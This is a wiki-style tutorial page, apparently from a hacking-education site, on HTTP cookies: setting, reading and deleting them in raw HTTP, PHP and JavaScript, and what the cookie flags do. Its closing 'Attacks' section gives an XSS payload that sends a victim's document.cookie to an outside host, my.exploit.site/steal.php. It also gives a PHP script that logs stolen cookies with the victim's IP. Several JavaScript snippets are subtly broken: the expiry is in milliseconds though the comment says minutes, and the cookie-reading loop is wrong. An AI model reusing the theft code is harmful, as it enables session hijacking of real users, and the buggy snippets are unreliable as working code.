Cookies
Because HTTP is a stateless protocol, cookies are used to pass information transparently between the client and server, emulating a "state".
The server sets cookies on the client by using the Set-Cookie header as many times as needed to set new cookie values.
The RFC describing cookies recommends to URL-encode both the cookie name and the cookie value. As HTTP is a plain-text protocol, it could indeed be for the least annoying if we didn't encode to set a cookie with a value containing a CRLF, for example.
Setting a cookie
Direct HTTP programming
Send the Set-Cookie header as many times as there are cookies.
Format:
<syntaxhighlight lang="bash"> Set-Cookie: cookie_name_urlencoded=cookie_value_urlencoded; Expires=Wdy, DD-Mon-YYYY HH:MM:SS GMT; OtherFlags </syntaxhighlight> |
For the "OtherFlags", see the Flags section.
PHP (server side)
Savitri says |
---|
Note that, since cookies are set in the HTTP headers, they shall be set before the HTML (or whatever you transmit over HTTP) output starts. |
See PHP.net. Basically,
<syntaxhighlight lang="php"> //setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] ) setcookie('my_lover', 'hero hitler (or was it Mr. #?)', time()+1800, '/', '.staff.blackhatacademy.org', false, false); // the false, false at the end is not mandatory, since these parameters are marked as optional. // $value is to be set to the desired value. Note that you shall not use booleans, as setting $value to false will delete the cookie // $expire is the timestamp at which this cookie shall expire // $domain sets the Domain flag (see Flags section // $secure sets the Secure flag (see Flags section // $httponly sets the HttpOnly flag (see Flags section </syntaxhighlight> |
Savitri says |
---|
Note that PHP takes care of encoding and crap for you, so don't bother with that |
Javascript (client side)
To set a cookie, you need to set a properly formatted string to the document.cookie string. Automagically, your browser will add the cookie in the site's jar. You may add all the parameters we describe in here
In order to get the properly formatted string, best option is to use a Date object, which has a very practical toGMTString() method. See this sample
<syntaxhighlight lang="javascript"> // set a cookie that will expire in 30 minutes (1800 seconds), // limited to domains under .staff.blackhatacademy.org // to be transmitted over HTTP // or HTTPS, it doesn't matter to us. var d = new Date(); var expires = new Date(d.getTime()+1800).toGMTString(); document.cookie = "my_lover="+encodeURIComponent("hero hitler in love, or was it Mr #?")+";Expires="+expires+";Domain=.staff.blackhatacademy.org"; </syntaxhighlight> |
Feel free to expand this example, put it in a nicely wrapped function, to parameterize it, and whatnot.
Accessing a cookie
Direct HTTP programming (server side)
You have to parse the headers sent by the client, and to check for set-cookie headers. Remember, HTTP protocol is not case-sensitive!
PHP
Use the $_COOKIE superglobal to read the cookies. Remember it can't be used to set or delete cookies, only to read them, though PHP won't shout at you if you try and set some values. Just, it won't give a damn and never set them client-side.
<syntaxhighlight lang="php"> $lover = $_COOKIE['my_lover']; </syntaxhighlight> |
Javascript
Cookies not marked with HttpOnly can be accessed through Javascript. To read them, you have to split the document.cookie string by ';' (alert it just to take a look!) and to split each resulting key=value pair by '='.
<syntaxhighlight lang="javascript"> var cookies = document.cookie.split(';'); var c = new Array(); for (cookie in cookies) { var cs = cookie.split('='); c[cs[0]] = decodeURIComponent(cs[1]); } alert(cs['my_lover']); </syntaxhighlight> |
Deleting a cookie
Direct HTTP programming
To delete a cookie, simply set it with an Expires date in the past and optionally with an empty value. It will be erased.
PHP
The same goes with PHP. Set the value of the cookie to false using setcookie
JavaScript
Set the cookie as described above with an empty value, and an expiry date in the past.
Flags
Secure
The Secure flag indicates that a cookie may only be transmitted to the server via HTTPS, never via HTTP.
HttpOnly
This flag indicates that a cookie can't be accessed through means other than HTTP transmission. That is, no Javascript, Flash or whatever client-run technique can access this cookie, i.e. it is not to be accessed by the client directly.
This flag protects the cookie from cross-site scripting attempts to steal the cookie (as could be done to steal a session).
Path
The Path flag specifies which sub-part of a domain may access a cookie. Very useful when hosting on free hosters such as Geocities or ISP hosts. Indeed, if http://www.geocities.com/mysupersite sets a cookie without putting the Path=/mysupersite flag, then http://www.geocities.com/myevilsite can steal all the cookies from mysupersite, who will therefore starve. Uncool, isn't it? :(.
Domain
Domain serves the opposite purpose of Path, that is, it expands a cookie's scope beyond the FQDN that set it, to a broader domain.
Say you have a cookie that has been set by http://savitri.staff.blackhatacademy.org. By default, http://hatter.staff.blackhatacademy.org can't access it. But if the first wants to share it with the second, then by setting Domain=.staff.blackhatacademy.org, this cookie is also obtained by http://hatter.staff.blackhatacademy.org
Note that if you specify another, same-level domain (that is, http://savitri.staff.blackhatacademy.org sets a cookie with Domain=errprone.staff.blackhatacademy.org), the result is not guaranteed, as your browser might reject this cookie.
Savitri says |
---|
this is to be checked and tested extensively, as it might be an interesting vector |
Attacks
Stealing cookies through XSS
Savitri says |
---|
Remember that stealing cookies will make your friends or the grocery shop owner angry! |
Change the current page to another location you control, using the document.cookie as parameter. Ideally make it as smooth as possible. Best option is to contaminate an iframe, and to recurse the iframe to its original contents.
<syntaxhighlight lang="javascript"> location.href = "http://my.exploit.site/steal.php?originalURL="+encodeURIComponent(location.href)+"&cookies="+encodeURIComponent(document.cookie); </syntaxhighlight> |
steal.php should be something like
<syntaxhighlight lang="php"> <?php /* (c) 2011 BlackHatAcademy */ $data = urldecode($_GET['cookies']); file_put_contents("stolen_cookies.txt", "<IP>".$_SERVER['REMOTE_ADDR']."</IP><![CDATA[".$data."]]>", FILE_APPEND); echo ' '; die(); ?> </syntaxhighlight> |
Savitri says |
---|
This is untested. Feel free to provide a sample implementation or anything more refined. |